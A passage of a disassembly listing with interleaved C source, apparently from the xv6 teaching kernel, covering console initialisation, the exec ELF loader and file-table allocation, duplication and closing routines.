801007d0 <consoleintr+0x20> 8010090e: 66 90 xchg %ax,%ax acquire(&cons.lock); while((c = getc()) >= 0){ switch(c){ case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; 80100910: be 01 00 00 00 mov $0x1,%esi 80100915: e9 b6 fe ff ff jmp 801007d0 <consoleintr+0x20> 8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } release(&cons.lock); if(doprocdump) { procdump(); // now call procdump() wo. cons.lock held } } 80100920: 83 c4 1c add $0x1c,%esp 80100923: 5b pop %ebx 80100924: 5e pop %esi 80100925: 5f pop %edi 80100926: 5d pop %ebp break; } } release(&cons.lock); if(doprocdump) { procdump(); // now call procdump() wo. cons.lock held 80100927: e9 94 35 00 00 jmp 80103ec0 <procdump> } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; input.buf[input.e++ % INPUT_BUF] = c; 8010092c: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax) consputc(c); 80100933: b8 0a 00 00 00 mov $0xa,%eax 80100938: e8 a3 fa ff ff call 801003e0 <consputc> 8010093d: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100942: e9 5f ff ff ff jmp 801008a6 <consoleintr+0xf6> 80100947: 89 f6 mov %esi,%esi 80100949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100950 <consoleinit>: return n; } void consoleinit(void) { 80100950: 55 push %ebp 80100951: 89 e5 mov %esp,%ebp 80100953: 83 ec 18 sub $0x18,%esp initlock(&cons.lock, "console"); 80100956: c7 44 24 04 c8 70 10 movl $0x801070c8,0x4(%esp) 8010095d: 80 8010095e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100965: e8 56 37 00 00 call 801040c0 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 8010096a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100971: 00 80100972: c7 04 24 01 00 00 00 movl $0x1,(%esp) void consoleinit(void) { initlock(&cons.lock, "console"); devsw[CONSOLE].write = consolewrite; 80100979: c7 05 6c 09 11 80 f0 movl $0x801005f0,0x8011096c 80100980: 05 10 80 devsw[CONSOLE].read = consoleread; 80100983: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968 8010098a: 02 10 80 cons.locking = 1; 8010098d: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554 80100994: 00 00 00 ioapicenable(IRQ_KBD, 0); 80100997: e8 24 19 00 00 call 801022c0 <ioapicenable> } 8010099c: c9 leave 8010099d: c3 ret 8010099e: 66 90 xchg %ax,%ax 801009a0 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 801009a0: 55 push %ebp 801009a1: 89 e5 mov %esp,%ebp 801009a3: 57 push %edi 801009a4: 56 push %esi 801009a5: 53 push %ebx 801009a6: 81 ec 2c 01 00 00 sub $0x12c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 801009ac: e8 ff 2c 00 00 call 801036b0 <myproc> 801009b1: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) begin_op(); 801009b7: e8 64 21 00 00 call 80102b20 <begin_op> if((ip = namei(path)) == 0){ 801009bc: 8b 45 08 mov 0x8(%ebp),%eax 801009bf: 89 04 24 mov %eax,(%esp) 801009c2: e8 49 15 00 00 call 80101f10 <namei> 801009c7: 85 c0 test %eax,%eax 801009c9: 89 c3 mov %eax,%ebx 801009cb: 0f 84 c2 01 00 00 je 80100b93 <exec+0x1f3> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 801009d1: 89 04 24 mov %eax,(%esp) 801009d4: e8 e7 0c 00 00 call 801016c0 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 801009d9: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 801009df: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp) 801009e6: 00 801009e7: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 801009ee: 00 801009ef: 89 44 24 04 mov %eax,0x4(%esp) 801009f3: 89 1c 24 mov %ebx,(%esp) 801009f6: e8 75 0f 00 00 call 80101970 <readi> 801009fb: 83 f8 34 cmp $0x34,%eax 801009fe: 74 20 je 80100a20 <exec+0x80> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100a00: 89 1c 24 mov %ebx,(%esp) 80100a03: e8 18 0f 00 00 call 80101920 <iunlockput> end_op(); 80100a08: e8 83 21 00 00 call 80102b90 <end_op> } return -1; 80100a0d: b8 ff ff ff ff mov $0xffffffff,%eax } 80100a12: 81 c4 2c 01 00 00 add $0x12c,%esp 80100a18: 5b pop %ebx 80100a19: 5e pop %esi 80100a1a: 5f pop %edi 80100a1b: 5d pop %ebp 80100a1c: c3 ret 80100a1d: 8d 76 00 lea 0x0(%esi),%esi pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) goto bad; if(elf.magic != ELF_MAGIC) 80100a20: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100a27: 45 4c 46 80100a2a: 75 d4 jne 80100a00 <exec+0x60> goto bad; if((pgdir = setupkvm()) == 0) 80100a2c: e8 7f 63 00 00 call 80106db0 <setupkvm> 80100a31: 85 c0 test %eax,%eax 80100a33: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100a39: 74 c5 je 80100a00 <exec+0x60> goto bad; // Load program into memory. sz = 0; for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a3b: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100a42: 00 80100a43: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi if((pgdir = setupkvm()) == 0) goto bad; // Load program into memory. sz = 0; 80100a49: c7 85 ec fe ff ff 00 movl $0x0,-0x114(%ebp) 80100a50: 00 00 00 for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a53: 0f 84 da 00 00 00 je 80100b33 <exec+0x193> 80100a59: 31 ff xor %edi,%edi 80100a5b: eb 18 jmp 80100a75 <exec+0xd5> 80100a5d: 8d 76 00 lea 0x0(%esi),%esi 80100a60: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100a67: 83 c7 01 add $0x1,%edi 80100a6a: 83 c6 20 add $0x20,%esi 80100a6d: 39 f8 cmp %edi,%eax 80100a6f: 0f 8e be 00 00 00 jle 80100b33 <exec+0x193> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100a75: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100a7b: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp) 80100a82: 00 80100a83: 89 74 24 08 mov %esi,0x8(%esp) 80100a87: 89 44 24 04 mov %eax,0x4(%esp) 80100a8b: 89 1c 24 mov %ebx,(%esp) 80100a8e: e8 dd 0e 00 00 call 80101970 <readi> 80100a93: 83 f8 20 cmp $0x20,%eax 80100a96: 0f 85 84 00 00 00 jne 80100b20 <exec+0x180> goto bad; if(ph.type != ELF_PROG_LOAD) 80100a9c: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100aa3: 75 bb jne 80100a60 <exec+0xc0> continue; if(ph.memsz < ph.filesz) 80100aa5: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100aab: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100ab1: 72 6d jb 80100b20 <exec+0x180> goto bad; if(ph.vaddr + ph.memsz < ph.vaddr) 80100ab3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100ab9: 72 65 jb 80100b20 <exec+0x180> goto bad; if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100abb: 89 44 24 08 mov %eax,0x8(%esp) 80100abf: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax 80100ac5: 89 44 24 04 mov %eax,0x4(%esp) 80100ac9: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100acf: 89 04 24 mov %eax,(%esp) 80100ad2: e8 49 61 00 00 call 80106c20 <allocuvm> 80100ad7: 85 c0 test %eax,%eax 80100ad9: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) 80100adf: 74 3f je 80100b20 <exec+0x180> goto bad; if(ph.vaddr % PGSIZE != 0) 80100ae1: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100ae7: a9 ff 0f 00 00 test $0xfff,%eax 80100aec: 75 32 jne 80100b20 <exec+0x180> goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100aee: 8b 95 14 ff ff ff mov -0xec(%ebp),%edx 80100af4: 89 44 24 04 mov %eax,0x4(%esp) 80100af8: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100afe: 89 5c 24 08 mov %ebx,0x8(%esp) 80100b02: 89 54 24 10 mov %edx,0x10(%esp) 80100b06: 8b 95 08 ff ff ff mov -0xf8(%ebp),%edx 80100b0c: 89 04 24 mov %eax,(%esp) 80100b0f: 89 54 24 0c mov %edx,0xc(%esp) 80100b13: e8 48 60 00 00 call 80106b60 <loaduvm> 80100b18: 85 c0 test %eax,%eax 80100b1a: 0f 89 40 ff ff ff jns 80100a60 <exec+0xc0> freevm(oldpgdir); return 0; bad: if(pgdir) freevm(pgdir); 80100b20: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b26: 89 04 24 mov %eax,(%esp) 80100b29: e8 02 62 00 00 call 80106d30 <freevm> 80100b2e: e9 cd fe ff ff jmp 80100a00 <exec+0x60> if(ph.vaddr % PGSIZE != 0) goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) goto bad; } iunlockput(ip); 80100b33: 89 1c 24 mov %ebx,(%esp) 80100b36: e8 e5 0d 00 00 call 80101920 <iunlockput> 80100b3b: 90 nop 80100b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80100b40: e8 4b 20 00 00 call 80102b90 <end_op> ip = 0; // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); 80100b45: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax 80100b4b: 05 ff 0f 00 00 add $0xfff,%eax 80100b50: 25 00 f0 ff ff and $0xfffff000,%eax if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100b55: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx 80100b5b: 89 44 24 04 mov %eax,0x4(%esp) 80100b5f: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b65: 89 54 24 08 mov %edx,0x8(%esp) 80100b69: 89 04 24 mov %eax,(%esp) 80100b6c: e8 af 60 00 00 call 80106c20 <allocuvm> 80100b71: 85 c0 test %eax,%eax 80100b73: 89 85 e8 fe ff ff mov %eax,-0x118(%ebp) 80100b79: 75 33 jne 80100bae <exec+0x20e> freevm(oldpgdir); return 0; bad: if(pgdir) freevm(pgdir); 80100b7b: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b81: 89 04 24 mov %eax,(%esp) 80100b84: e8 a7 61 00 00 call 80106d30 <freevm> if(ip){ iunlockput(ip); end_op(); } return -1; 80100b89: b8 ff ff ff ff mov $0xffffffff,%eax 80100b8e: e9 7f fe ff ff jmp 80100a12 <exec+0x72> struct proc *curproc = myproc(); begin_op(); if((ip = namei(path)) == 0){ end_op(); 80100b93: e8 f8 1f 00 00 call 80102b90 <end_op> cprintf("exec: fail\n"); 80100b98: c7 04 24 e1 70 10 80 movl $0x801070e1,(%esp) 80100b9f: e8 ac fa ff ff call 80100650 <cprintf> return -1; 80100ba4: b8 ff ff ff ff mov $0xffffffff,%eax 80100ba9: e9 64 fe ff ff jmp 80100a12 <exec+0x72> // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bae: 8b 9d e8 fe ff ff mov -0x118(%ebp),%ebx 80100bb4: 89 d8 mov %ebx,%eax 80100bb6: 2d 00 20 00 00 sub $0x2000,%eax 80100bbb: 89 44 24 04 mov %eax,0x4(%esp) 80100bbf: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100bc5: 89 04 24 mov %eax,(%esp) 80100bc8: e8 93 62 00 00 call 80106e60 <clearpteu> sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100bcd: 8b 45 0c mov 0xc(%ebp),%eax 80100bd0: 8b 00 mov (%eax),%eax 80100bd2: 85 c0 test %eax,%eax 80100bd4: 0f 84 59 01 00 00 je 80100d33 <exec+0x393> 80100bda: 8b 4d 0c mov 0xc(%ebp),%ecx 80100bdd: 31 d2 xor %edx,%edx 80100bdf: 8d 71 04 lea 0x4(%ecx),%esi 80100be2: 89 cf mov %ecx,%edi 80100be4: 89 d1 mov %edx,%ecx 80100be6: 89 f2 mov %esi,%edx 80100be8: 89 fe mov %edi,%esi 80100bea: 89 cf mov %ecx,%edi 80100bec: eb 0a jmp 80100bf8 <exec+0x258> 80100bee: 66 90 xchg %ax,%ax 80100bf0: 83 c2 04 add $0x4,%edx if(argc >= MAXARG) 80100bf3: 83 ff 20 cmp $0x20,%edi 80100bf6: 74 83 je 80100b7b <exec+0x1db> goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100bf8: 89 04 24 mov %eax,(%esp) 80100bfb: 89 95 ec fe ff ff mov %edx,-0x114(%ebp) 80100c01: e8 0a 39 00 00 call 80104510 <strlen> 80100c06: f7 d0 not %eax 80100c08: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c0a: 8b 06 mov (%esi),%eax // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { if(argc >= MAXARG) goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c0c: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c0f: 89 04 24 mov %eax,(%esp) 80100c12: e8 f9 38 00 00 call 80104510 <strlen> 80100c17: 83 c0 01 add $0x1,%eax 80100c1a: 89 44 24 0c mov %eax,0xc(%esp) 80100c1e: 8b 06 mov (%esi),%eax 80100c20: 89 5c 24 04 mov %ebx,0x4(%esp) 80100c24: 89 44 24 08 mov %eax,0x8(%esp) 80100c28: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100c2e: 89 04 24 mov %eax,(%esp) 80100c31: e8 8a 63 00 00 call 80106fc0 <copyout> 80100c36: 85 c0 test %eax,%eax 80100c38: 0f 88 3d ff ff ff js 80100b7b <exec+0x1db> goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100c3e: 8b 95 ec fe ff ff mov -0x114(%ebp),%edx if(argc >= MAXARG) goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; 80100c44: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx 80100c4a: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100c51: 83 c7 01 add $0x1,%edi 80100c54: 8b 02 mov (%edx),%eax 80100c56: 89 d6 mov %edx,%esi 80100c58: 85 c0 test %eax,%eax 80100c5a: 75 94 jne 80100bf0 <exec+0x250> 80100c5c: 89 fa mov %edi,%edx sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; } ustack[3+argc] = 0; 80100c5e: c7 84 95 64 ff ff ff movl $0x0,-0x9c(%ebp,%edx,4) 80100c65: 00 00 00 00 ustack[0] = 0xffffffff; // fake return PC ustack[1] = argc; ustack[2] = sp - (argc+1)*4; // argv pointer 80100c69: 8d 04 95 04 00 00 00 lea 0x4(,%edx,4),%eax ustack[3+argc] = sp; } ustack[3+argc] = 0; ustack[0] = 0xffffffff; // fake return PC ustack[1] = argc; 80100c70: 89 95 5c ff ff ff mov %edx,-0xa4(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100c76: 89 da mov %ebx,%edx 80100c78: 29 c2 sub %eax,%edx sp -= (3+argc+1) * 4; 80100c7a: 83 c0 0c add $0xc,%eax 80100c7d: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c7f: 89 44 24 0c mov %eax,0xc(%esp) 80100c83: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100c89: 89 4c 24 08 mov %ecx,0x8(%esp) 80100c8d: 89 5c 24 04 mov %ebx,0x4(%esp) goto bad; ustack[3+argc] = sp; } ustack[3+argc] = 0; ustack[0] = 0xffffffff; // fake return PC 80100c91: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100c98: ff ff ff ustack[1] = argc; ustack[2] = sp - (argc+1)*4; // argv pointer sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c9b: 89 04 24 mov %eax,(%esp) } ustack[3+argc] = 0; ustack[0] = 0xffffffff; // fake return PC ustack[1] = argc; ustack[2] = sp - (argc+1)*4; // argv pointer 80100c9e: 89 95 60 ff ff ff mov %edx,-0xa0(%ebp) sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100ca4: e8 17 63 00 00 call 80106fc0 <copyout> 80100ca9: 85 c0 test %eax,%eax 80100cab: 0f 88 ca fe ff ff js 80100b7b <exec+0x1db> goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100cb1: 8b 45 08 mov 0x8(%ebp),%eax 80100cb4: 0f b6 10 movzbl (%eax),%edx 80100cb7: 84 d2 test %dl,%dl 80100cb9: 74 19 je 80100cd4 <exec+0x334> 80100cbb: 8b 4d 08 mov 0x8(%ebp),%ecx 80100cbe: 83 c0 01 add $0x1,%eax if(*s == '/') last = s+1; 80100cc1: 80 fa 2f cmp $0x2f,%dl sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100cc4: 0f b6 10 movzbl (%eax),%edx if(*s == '/') last = s+1; 80100cc7: 0f 44 c8 cmove %eax,%ecx 80100cca: 83 c0 01 add $0x1,%eax sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100ccd: 84 d2 test %dl,%dl 80100ccf: 75 f0 jne 80100cc1 <exec+0x321> 80100cd1: 89 4d 08 mov %ecx,0x8(%ebp) if(*s == '/') last = s+1; safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100cd4: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100cda: 8b 45 08 mov 0x8(%ebp),%eax 80100cdd: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80100ce4: 00 80100ce5: 89 44 24 04 mov %eax,0x4(%esp) 80100ce9: 89 f8 mov %edi,%eax 80100ceb: 83 c0 6c add $0x6c,%eax 80100cee: 89 04 24 mov %eax,(%esp) 80100cf1: e8 da 37 00 00 call 801044d0 <safestrcpy> // Commit to the user image. oldpgdir = curproc->pgdir; curproc->pgdir = pgdir; 80100cf6: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx if(*s == '/') last = s+1; safestrcpy(curproc->name, last, sizeof(curproc->name)); // Commit to the user image. oldpgdir = curproc->pgdir; 80100cfc: 8b 77 04 mov 0x4(%edi),%esi curproc->pgdir = pgdir; curproc->sz = sz; curproc->tf->eip = elf.entry; // main 80100cff: 8b 47 18 mov 0x18(%edi),%eax last = s+1; safestrcpy(curproc->name, last, sizeof(curproc->name)); // Commit to the user image. oldpgdir = curproc->pgdir; curproc->pgdir = pgdir; 80100d02: 89 4f 04 mov %ecx,0x4(%edi) curproc->sz = sz; 80100d05: 8b 8d e8 fe ff ff mov -0x118(%ebp),%ecx 80100d0b: 89 0f mov %ecx,(%edi) curproc->tf->eip = elf.entry; // main 80100d0d: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100d13: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100d16: 8b 47 18 mov 0x18(%edi),%eax 80100d19: 89 58 44 mov %ebx,0x44(%eax) switchuvm(curproc); 80100d1c: 89 3c 24 mov %edi,(%esp) 80100d1f: e8 ac 5c 00 00 call 801069d0 <switchuvm> freevm(oldpgdir); 80100d24: 89 34 24 mov %esi,(%esp) 80100d27: e8 04 60 00 00 call 80106d30 <freevm> return 0; 80100d2c: 31 c0 xor %eax,%eax 80100d2e: e9 df fc ff ff jmp 80100a12 <exec+0x72> goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100d33: 8b 9d e8 fe ff ff mov -0x118(%ebp),%ebx 80100d39: 31 d2 xor %edx,%edx 80100d3b: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx 80100d41: e9 18 ff ff ff jmp 80100c5e <exec+0x2be> 80100d46: 66 90 xchg %ax,%ax 80100d48: 66 90 xchg %ax,%ax 80100d4a: 66 90 xchg %ax,%ax 80100d4c: 66 90 xchg %ax,%ax 80100d4e: 66 90 xchg %ax,%ax 80100d50 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100d50: 55 push %ebp 80100d51: 89 e5 mov %esp,%ebp 80100d53: 83 ec 18 sub $0x18,%esp initlock(&ftable.lock, "ftable"); 80100d56: c7 44 24 04 ed 70 10 movl $0x801070ed,0x4(%esp) 80100d5d: 80 80100d5e: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d65: e8 56 33 00 00 call 801040c0 <initlock> } 80100d6a: c9 leave 80100d6b: c3 ret 80100d6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100d70 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100d70: 55 push %ebp 80100d71: 89 e5 mov %esp,%ebp 80100d73: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d74: bb f4 ff 10 80 mov $0x8010fff4,%ebx } // Allocate a file structure. struct file* filealloc(void) { 80100d79: 83 ec 14 sub $0x14,%esp struct file *f; acquire(&ftable.lock); 80100d7c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d83: e8 a8 34 00 00 call 80104230 <acquire> 80100d88: eb 11 jmp 80100d9b <filealloc+0x2b> 80100d8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d90: 83 c3 18 add $0x18,%ebx 80100d93: 81 fb 54 09 11 80 cmp $0x80110954,%ebx 80100d99: 74 25 je 80100dc0 <filealloc+0x50> if(f->ref == 0){ 80100d9b: 8b 43 04 mov 0x4(%ebx),%eax 80100d9e: 85 c0 test %eax,%eax 80100da0: 75 ee jne 80100d90 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100da2: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ if(f->ref == 0){ f->ref = 1; 80100da9: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100db0: e8 eb 34 00 00 call 801042a0 <release> return f; } } release(&ftable.lock); return 0; } 80100db5: 83 c4 14 add $0x14,%esp acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ if(f->ref == 0){ f->ref = 1; release(&ftable.lock); return f; 80100db8: 89 d8 mov %ebx,%eax } } release(&ftable.lock); return 0; } 80100dba: 5b pop %ebx 80100dbb: 5d pop %ebp 80100dbc: c3 ret 80100dbd: 8d 76 00 lea 0x0(%esi),%esi f->ref = 1; release(&ftable.lock); return f; } } release(&ftable.lock); 80100dc0: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100dc7: e8 d4 34 00 00 call 801042a0 <release> return 0; } 80100dcc: 83 c4 14 add $0x14,%esp release(&ftable.lock); return f; } } release(&ftable.lock); return 0; 80100dcf: 31 c0 xor %eax,%eax } 80100dd1: 5b pop %ebx 80100dd2: 5d pop %ebp 80100dd3: c3 ret 80100dd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100dda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80100de0 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100de0: 55 push %ebp 80100de1: 89 e5 mov %esp,%ebp 80100de3: 53 push %ebx 80100de4: 83 ec 14 sub $0x14,%esp 80100de7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100dea: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100df1: e8 3a 34 00 00 call 80104230 <acquire> if(f->ref < 1) 80100df6: 8b 43 04 mov 0x4(%ebx),%eax 80100df9: 85 c0 test %eax,%eax 80100dfb: 7e 1a jle 80100e17 <filedup+0x37> panic("filedup"); f->ref++; 80100dfd: 83 c0 01 add $0x1,%eax 80100e00: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100e03: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100e0a: e8 91 34 00 00 call 801042a0 <release> return f; } 80100e0f: 83 c4 14 add $0x14,%esp 80100e12: 89 d8 mov %ebx,%eax 80100e14: 5b pop %ebx 80100e15: 5d pop %ebp 80100e16: c3 ret struct file* filedup(struct file *f) { acquire(&ftable.lock); if(f->ref < 1) panic("filedup"); 80100e17: c7 04 24 f4 70 10 80 movl $0x801070f4,(%esp) 80100e1e: e8 3d f5 ff ff call 80100360 <panic> 80100e23: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100e29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100e30 <fileclose>: } // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100e30: 55 push %ebp 80100e31: 89 e5 mov %esp,%ebp 80100e33: 57 push %edi 80100e34: 56 push %esi 80100e35: 53 push %ebx 80100e36: 83 ec 1c sub $0x1c,%esp 80100e39: 8b 7d 08 mov 0x8(%ebp),%edi struct file ff; acquire(&ftable.lock); 80100e3c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100e43: e8 e8 33 00 00 call 80104230 <acquire> if(f->ref < 1) 80100e48: 8b 57 04 mov 0x4(%edi),%edx 80100e4b: 85 d2 test %edx,%edx 80100e4d: 0f 8e 89 00 00 00 jle 80100edc <fileclose+0xac> panic("fileclose"); if(--f->ref > 0){ 80100e53: 83 ea 01 sub $0x1,%edx 80100e56: 85 d2 test %edx,%edx 80100e58: 89 57 04 mov %edx,0x4(%edi) 80100e5b: 74 13 je 80100e70 <fileclose+0x40> release(&ftable.lock); 80100e5d: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp) else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); } } 80100e64: 83 c4 1c add $0x1c,%esp 80100e67: 5b pop %ebx 80100e68: 5e pop %esi 80100e69: 5f pop %edi 80100e6a: 5d pop %ebp acquire(&ftable.lock); if(f->ref < 1) panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); 80100e6b: e9 30 34 00 00 jmp 801042a0 <release> return; } ff = *f; 80100e70: 0f b6 47 09 movzbl 0x9(%edi),%eax 80100e74: 8b 37 mov (%edi),%esi 80100e76: 8b 5f 0c mov 0xc(%edi),%ebx f->ref = 0; f->type = FD_NONE; 80100e79: c7 07 00 00 00 00 movl $0x0,(%edi) panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); return; } ff = *f; 80100e7f: 88 45 e7 mov %al,-0x19(%ebp) 80100e82: 8b 47 10 mov 0x10(%edi),%eax f->ref = 0; f->type = FD_NONE; release(&ftable.lock); 80100e85: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); return; } ff = *f; 80100e8c: 89 45 e0 mov %eax,-0x20(%ebp) f->ref = 0; f->type = FD_NONE; release(&ftable.lock); 80100e8f: e8 0c 34 00 00 call 801042a0 <release> if(ff.type == FD_PIPE) 80100e94: 83 fe 01 cmp $0x1,%esi 80100e97: 74 0f je 80100ea8 <fileclose+0x78> pipeclose(ff.pipe, ff.writable); else if(ff.type == FD_INODE){ 80100e99: 83 fe 02 cmp $0x2,%esi 80100e9c: 74 22 je 80100ec0 <fileclose+0x90> begin_op(); iput(ff.ip); end_op(); } } 80100e9e: 83 c4 1c add $0x1c,%esp 80100ea1: 5b pop %ebx 80100ea2: 5e pop %esi 80100ea3: 5f pop %edi 80100ea4: 5d pop %ebp 